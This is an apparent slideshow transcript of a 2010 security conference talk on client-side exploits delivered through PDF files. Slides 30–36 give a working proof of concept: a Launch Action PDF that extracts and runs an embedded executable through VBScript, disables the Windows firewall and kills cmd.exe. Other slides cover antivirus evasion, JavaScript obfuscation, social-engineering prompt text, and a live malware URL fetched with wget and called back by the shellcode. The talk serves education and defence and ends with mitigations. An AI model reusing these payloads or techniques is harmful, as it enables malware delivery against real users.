Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Client Side Exploits using PDF

7,460 views

Published on

Client Side Exploits using PDF by Ankur Bhargava & Tamaghna Basu @ null Banglore Meet, October, 2010

Published in: Technology
  • Be the first to comment

Client Side Exploits using PDF

  1. 1. BY, ANKUR BHARGAVA (INFOSYS TECHNOLOGIES LIMITED) TAMAGHNA BASU (SECURITY RESEARCHER) Client Side Exploits using PDF C0C0N Security & Hacking Conference
  2. 2. Contents About PDF Launch Action Exploits AcroJs Exploits Road Ahead Tools and References
  3. 3. About PDF • What isPDF? • Incidentsin thewild • Why pdf attcks? • PDF document structure
  4. 4. Potentially Dangerous File / Penetration Document Format Stands for Adobe Portable Document Format Exchange and manipulation of electronic data reliable and platform independent Has become most widespread and used document description format throughout the world
  5. 5. Adobe PDF – As a programming language PDF document is more than a powerful document format Has a complete programming language of its own Dedicated to document creation and manipulation Relatively strong execution features
  6. 6. Adobe PDF – Security Issues
  7. 7. 2010: Still Continuing…
  8. 8. 2010: Still Continuing… March April May June
  9. 9. Incidents in the wild  Jun 14 CVE-2010-1297 PDF Adobe 0-Day WEO from sacchetti.dana@gmail.com  Jun 20 CVE-2010-1297 PDF Meeting agenda from alexis.mo88@gmail.com  Jun 21 CVE-2010-1297 PDF About the recent US-Japan Economic Relations  Jun 21 CVE-2010-1297 PDF Adobe 0-Day About the recent US-Japan Economic Relations - with Poison Ivy  Jun 27 CVE-2009-0927 PDF Discussion on cross-strait maritime cooperation  Jul 6 CVE-2010-1297 PDF EPA's Water Sampling Report from spoofed OCSPP@epa.go  Jul 14 CVE-2009-4324 PDF President Obama's Detrimental Deadlines
  10. 10. The Reign of Zeus:  Zeus (also known as Zbot, PRG, Wsnpoem, Gorhax and Kneber) is a Trojan horse that steals banking information by keystroke logging.  Found in July 2007 when it was used to steal information from the United States Department of Transportation. It became more widespread in March 2009.  In June 2009, security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of companies like: Bank of America, NASA, Monster, ABC, Oracle, Cisco, Amazon, BusinessWeek  ZeuS is sold in the criminal underground as a kit for around $3000-$4000, and is likely the one malware most utilized by criminals specializing in financial fraud. ZeuS has evolved over time and includes a full arsenal of information stealing .
  11. 11. The Reign of Zeus A recent breakthrough in spreading Zeus via PDF files threatens to further the spread of Zeus. The pdf file (detected as Exploit.JS.Pdfka.bui) contained an exploit for the CVE-2010- 0188 vulnerability - buffer overflow – manifests itself when the field containing the image is accessed. CVE-2010-0188 exploits statistics 2010
  12. 12. Popular in malwaredomainlist.com
  13. 13. Apple iPhone / iPad / iPod Code Execution and Sandbox Bypass VUPEN ID - VUPEN/ADV-2010-1992 Release date - 2010-08-03 It is caused by a memory corruption error when processing Compact Font Format (CFF) data within a PDF document, which could be exploited by attackers to execute arbitrary code by tricking a user into visiting a specially crafted web page using Mobile Safari
  14. 14. Why PDF Popularity and usability Flexibility, platform independent, rich text Trust level is high on pdf – static piece of information Rich api, easy to exploit / misuse Dominance of Adobe reader, huge scope for attack
  15. 15. PDF document structure The general structure of a PDF file is composed of the following code components: header, body, cross- reference (xref) table, and trailer, as shown in figure 1.
  16. 16. PDF Document Structure PDF Header Objects Trailer Body Cross reference Table
  17. 17. Launch Action • Launch Action Api • SomeExamples • Evading Antivirus • With embedded EXE
  18. 18. Launch Action Vulnerability A launch action launches an application or opens or prints a document. Following are the action dictionary entries specific to this type of action.  ENTRIES  S :Name Required) The type of action that this dictionary describes; shall be Launch for a launch action.  F: File specification (Required if none of the entries Win, Mac, or Unix is present) The application that shall be launched or the document that shall be opened or printed. If this entry is absent and the conforming reader does not understand any of the alternative entries, it shall do nothing.  Win : dictionary (Optional) A dictionary containing Windows-specific launch parameters.
  19. 19. Launch Action Vulnerability  PARAMETERS  F : byte string (Required) The file name of the application that shall be launched or the document that shall be opened or printed, in standard Windows pathname format. If the name string includes a backslash character (), the backslash shall itself be preceded by a backslash. This value shall be a simple string; it is not a file specification.  P : byte string (Optional) A parameter string that shall be passed to the application designated by the F entry. This entry shall be omitted if F designates a document.
  20. 20. Launch Action Vulnerability Open command prompt Open website
  21. 21. Launch Action Vulnerability Open notepad.exe
  22. 22. Launch Action Vulnerability
  23. 23. Launch Action Vulnerability Changing the message
  24. 24. Launch Action Vulnerability Confidential Data!! If You are Authorized Click on 'Open'. Check 'Do Not Show This Message Again' to avoid this dialog next time
  25. 25. Launch Action Vulnerability
  26. 26. Launch Action in 9.3.3
  27. 27. Launch Action Vulnerability
  28. 28. Evading Antivirus by Changing the format You can take any other PDF data type and give it a number by wrapping it in "obj" and "endobj". Then later on, when you want to use that chunk of data, you can reference it, by number, with the "R" operator. These two examples are equivalent to Acrobat 2 0 obj (Hello World) Endobj 3 0 obj << /Example 2 0 R >> Endobj 3 0 obj << /Example (Hello World) >> endobj
  29. 29. Evading Antivirus  What You Can Leave Out  All Page data  All Whitespace, except for End-Of-Line after comments  The version number part of %PDF-1.1  The %%EOF  The xref table  And thus also startxref  Most Object /Types  So what's actually required?  %PDF-anything, but if the file is too confusing for Acrobat, you need at least the first number. Like %PDF-1.  A trailer with a /Root dictionary for the Catalog  A /Pages dictionary, but this can be empty, just as long as it's a dictionary type.  An /OpenAction if you want to launch your Javascript upon file open.  The Javascript Action.
  30. 30. Evading Antivirus %PDF-1. trailer<</Root<</Pages<<>>/ OpenAction<</S/Launch/Wi n<</F(cmd.exe)/P<0A0A0A0 A0A0A0A0A4E6F74653A205 468697320697320612073656 3757265205044462E20546F2 076696577207468652073656 37572656420636F6E74656E7 420706C6561736520636C696 36B2074686520224F70656E 2220627574746F6E2062656C 6F772E>>>>>>>>>
  31. 31. Evading Antivirus
  32. 32. POC: Launching an Embedded exe Step 1 : Embed the hex content of the exe in a vbscript which extracts it out to the file system and runs it. Step 2 : Embed that vbscript in the pdf file as comments. Step 3 : Launch cmd.exe and create another script which extracts out the main vbscript from the pdf and run them both.
  33. 33. Step 1 : Embed the hex content of the exe in a vbscript Dim b,bl Function c(d) c=chr(d) End Function b=Array(c(77),c(90),c(144),c(0),c(3),c(0), c(0)....,"") bl = 3072 Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(“helpme.exe", 2, True) For i = 0 To bl f.write(b(i)) Next f.close() Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "netsh firewall set opmode disable", 0, True WshShell.Run "helpme.exe", 0, False WshShell.Run "taskkill /IM cmd.exe /F", 0, False Hex content of the exe as a character array
  34. 34. Step 2 : Embed the vbscript in the pdf file as comments %'SS %Dim b,bl;Set WshShell = Function c(d);c=chr(d);End Function;b=Array(c(77),c(90),c(144),c(0),.....,"");bl = 3072;Set fso = CreateObject("Scripting.FileSystemObject");Set f = fso.OpenTextFile("helpme.exe", 2, True);For i = 0 To bl;f.write(b(i));Next;f.close(); Set WshShell = WScript.CreateObject("WScript.Shell") ;WshShell.Run "netsh firewall set opmode disable", 0, True;WshShell.Run "helpme.exe", 0, False;WshShell.Run "taskkill /IM cmd.exe /F", 0, False %'EE 6 0 obj [/PDF /Text] endobj
  35. 35. Step 3 : Launch cmd.exe and create another script /c echo Set fso=CreateObject("Scripting.FileSystemObject") > execute.vbs && echo Set f=fso.OpenTextFile("EmbeddedExePoC.pdf", 1, True) >> execute.vbs && echo pf=f.ReadAll >> execute.vbs && echo s=InStr(pf,"'SS") >> execute.vbs && echo e=InStr(pf,"'EE") >> execute.vbs && echo s=Mid(pf,s,e- s) >> execute.vbs && echo Set z=fso.OpenTextFile("toexecute.vbs", 2, True) >> execute.vbs && echo s = Replace(s,"%","") >> execute.vbs && echo s = Replace(s,";",vbcrlf) >> execute.vbs && echo z.Write(s) >> execute.vbs && execute.vbs && toexecute.vbs
  36. 36. Generated VBScript Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.OpenTextFile("EmbeddedExePoC.pdf", 1, True) pf=f.ReadAll s=InStr(pf,"'SS") e=InStr(pf,"'EE") s=Mid(pf,s,e-s) Set z=fso.OpenTextFile("toexecute.vbs", 2, True) s = Replace(s,"%","") s = Replace(s,";",vbcrlf) z.Write(s)
  37. 37. AcroJS • AcroJsApi • VulnerableApi’s • Obfuscation Techniques • CaseStudy
  38. 38. AcroJS • Acrobat JavaScript is the cross-platform scripting language of the Adobe® Acrobat® family of products. • Through JavaScript extensions, the viewer application and its plug-ins expose much of their functionality to document authors, form designers, and plug-in developers. • This functionality includes the following features, – Processing forms within the document – Batch processing collections of PDF documents – Developing and maintaining online collaboration schemes – Communicating with local databases – Controlling multimedia events
  39. 39. JavaScript Actions • A JavaScript action causes a script to be compiled and executed by the JavaScript interpreter. • Depending on the nature of the script, various interactive form fields in the document may update their values or change their visual ap-pearances. PARAMETERS /S Type - name (Required) The type of action that this dictionary describes; must be JavaScript for a JavaScript action. /JS Type - text string or text stream (Required) A text string or text stream containing the JavaScript script to be exe-cuted.
  40. 40. launchURLAlertbox Acrojs examples
  41. 41. Acrojs examples
  42. 42. Acrojs examples
  43. 43. Vulnerable APIs • getIcons() [CVE-2009-0927] – Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9 before 9.1, 8 before 8.1.3 , and 7 before 7.1.1 allows remote attackers to execute arbitrary code via a crafted argument to the getIcon method of a Collab object, a different vulnerability than CVE-2009-0658. • Util.printf() [CVE-2008-2992][CVE-2008-1104] – Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier allows remote attackers to execute arbitrary code via a PDF file that calls the util.printf JavaScript function with a crafted format string argument, a related issue to CVE-2008-1104. – Stack-based buffer overflow in Foxit Reader before 2.3 build 2912 allows user-assisted remote attackers to execute arbitrary code via a crafted PDF file, related to the util.printf JavaScript function and floating point specifiers in format strings.
  44. 44. Vulnerable APIs • getAnnots() [CVE-2009-1492] – The getAnnots Doc method in the JavaScript API in Adobe Reader and Acrobat 9.1, 8.1.4, 7.1.1, and earlier allows remote attackers to cause a denial of service (memory corruption) or execute arbitrary code via a PDF file that contains an annotation, and has an OpenAction entry with JavaScript code that calls this method with crafted integer arguments. • customDictionaryOpen() [CVE-2009-1493] – The customDictionaryOpen spell method in the JavaScript API in Adobe Reader 9.1, 8.1.4, 7.1.1, and earlier on Linux and UNIX allows remote attackers to cause a denial of service (memory corruption) or execute arbitrary code via a PDF file that triggers a call to this method with a long string in the second argument.
  45. 45. Vulnerable APIs • Doc.media.newPlayer [CVE-2009-4324] – Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009. • Collab.collectEmailInfo [CVE-2007-5659] – Multiple buffer overflows in Adobe Reader and Acrobat 8.1.1 and earlier allow remote attackers to execute arbitrary code via a PDF file with long arguments to unspecified JavaScript methods. NOTE: this issue might be subsumed by CVE-2008-0655.
  46. 46. Obfuscation Techniques Why?  To make analysis more difficult  To avoid detection by virus scanners Ways?  Using javascript Obfuscation  Using Pdf Obfuscations(Filters)
  47. 47. Javascript Obfuscations : Unlearn Coding Ethics
  48. 48. Distorting format Normal Code Obfuscated Code function execute(data, time) { Timelag=5000; if (time > Timelag) { // some code } } function overflow(hex, loop) { for (i=0;i<loop;i++) { hex = hex + hex; } } function overflow(hex, loop){for (i=0;i<loop;i++){hex = hex + hex;}} function overflow(hex, loop) {for i=0;i<loop;i++){hex = hex + hex;}}
  49. 49. Obfuscating Identifiers Normal Code Obfuscated Code function execute(data, time) { Timelag=5000; if (time > Timelag) { // some code } } function overflow(hex, loop) { for (i=0;i<loop;i++) { hex = hex + hex; } } function aeiou(lIlIIlI, O0OOOO0OO000OO) { WWMWMMWMWMWMW=5000; if (O0OOOO0OO000OO > WWMWMWMWMWMW) { // some code } } function aimpq(xxwmnnx, pqrtxw) { for (dqweaa=0; dqweaa < pqrtxw; dqweaa ++) { xxwmnnx = xxwmnnx + xxwmnnx;; } }
  50. 50. Obfuscating Identifiers – Even Worse Differentiating with number of underscore characters function _____(____,__________) { ______________=5000; if (__________>______________) { // some code } } function ___(_______, ______) { for(________________=0; ________________<______; ________________ ++) { _______ = _______ + _______; } }
  51. 51. Obfuscating Identifiers – Even Worse Differentiating with number of underscore characters function _____(____,__________){______________=5000;if (__________>______________){// some code}}function ___(_______, ______){for(________________=0; ________________<______; ________________ ++){_______ = _______ + _______;}}
  52. 52. Chain of Eval Normal Code Obfuscated code app.alert(“c0c0n”) func="eval"; one='app.alert("c0c0n")'; two=eval(one); three=eval(two); eval(func(three));
  53. 53. Splitting Javascript Normal code Obfuscated Code app.alert(“hello world”); Rt=“);”; Td=“ert(”hel”; Ab=“ap”; Qw=“ld””; Kg=“p.al”; Gh=“lo wor”; Eval(“hh=Ab+Kg+Td+Gh+Qw+Rt”); Eval(hh);
  54. 54. Callee Trick Function accesses its own source and uses it as a key to decrypt code or data function decrypt(cypher) { var key = arguments.callee.toString(); for (var i = 0; i < cypher.length; i++) { plain = key.charCodeAt(i) ^ cypher.charCodeAt(i); } ... }
  55. 55. Pdf obfuscations Using Filters for streams. Most common encoding techniques -  ASCIIHEXDecode,  ASCII85Decode,  LZWDecode,  FlateDecode,  RunLengthDecode
  56. 56. Case Study Malware found from - www.malwaredomainlist.com File link www.bigiqwars.ru/ppp/exp/pdf.php? user=admin&pdf_acces=on Added on – 29th july 2010
  57. 57. Virus total Reports 5/42(11.90%)
  58. 58. Analysis
  59. 59. STEP-1 WGET www.bigiqwars.ru/ppp/exp/pdf.php? user=admin&pdf_acces=on
  60. 60. STEP-2 Behavioral Analysis Environment • By using vm image • Filemon,Processmon,Regmon,TCPView Results • Under Process ‘AcroRD32.exe’ Was trying to connect to remote site http://bigiqwars.ru/ppp/exe.php? spl=PDF (newPlayer)&user=admin&exe_acces=on
  61. 61. STEP-3 Pdfid.py
  62. 62. STEP-4 Static/Code Analysis
  63. 63. Word Editor
  64. 64. Decoded the script
  65. 65. Formatted using jsbeautifier.org
  66. 66. Replacing with meaningful identifiers and removing unnecessary comments
  67. 67. Replacing ‘X’ from parameter
  68. 68. Shellcode Analysis Connecting to… http://bigiqwars.ru/ppp/exe.php?spl=PDF (newPlayer)&user=admin&exe_acces=on
  69. 69. Road Ahead • Mitigations • Adobe’ssecurity Measures • FutureExploit methods
  70. 70. How can we protect ourselves • Enable automatic updates: it sounds simple, but you will need to turn it on in the software settings to make it happen by default. • Disable PDF browser integration: most browsers will open PDFs without asking. An infected PDF will deliver its payload without warning, hiding in the background. • Always install the latest patch/update, even for older Adobe product versions. • Disable Javascript • Uncheck ‘Allow non-PDF gile attachments with external applications’ to prevent launch action vulnerability. • PDF alternatives such as Foxit are worthwhile, as long as auto updates are turned on, however alternative programs are just as vulnerable to malware as they gain popularity.
  71. 71. Road Ahead Focus Less on javascript exploits Attackers focusing more on embedded objects inside pdf i.e flash Adobe to introduce sandboxing to limit Reader exploits
  72. 72. Tools And References
  73. 73. Tools used Malzilla Mozilla addon javascript deobfescator by Wladimir Palant Vmware Player Sysinternal tools Processmon,filemon,regmon,tcpview WinHex HexEdit
  74. 74. References  www.malwaredomainlist.com  www.adobe.com/  www.bigiqwars.ru/ppp/exp/pdf.php?user=admin&pdf_acces=on  www.blog.didierstevens.com  www.jsbeautifier.org  http://research.globalthoughtz.com  http://www.zdnet.com/  http://www.scansafe.com/  http://www.computerworld.com/s/article/9176117/  http://www.darkreading.com/  http://www.virustotal.com/  http://recon.cx/  http://www.blog.zynamics.com
  75. 75. References continued..  http://www.marketwire.com/  http://www.symantec.com/  http://www.securelist.com/en/analysis  http://contagiodump.blogspot.com/  http://www.f-secure.com/  http://www.securelist.com/  http://www.secureworks.com/  http://en.wikipedia.org/  http://www.malwaredomainlist.com/  http://blogs.adobe.com/  http://blog.fireeye.com/  http://intrepidusgroup.com/  http://www.vupen.com
  76. 76. Thank you Tamaghna Basu tamaghna.basu@gmail.com twitter.comtitanlambda tamahawk-techguru.blogspot.com Ankur Bhargava ankurbhargava87@gmail.com

×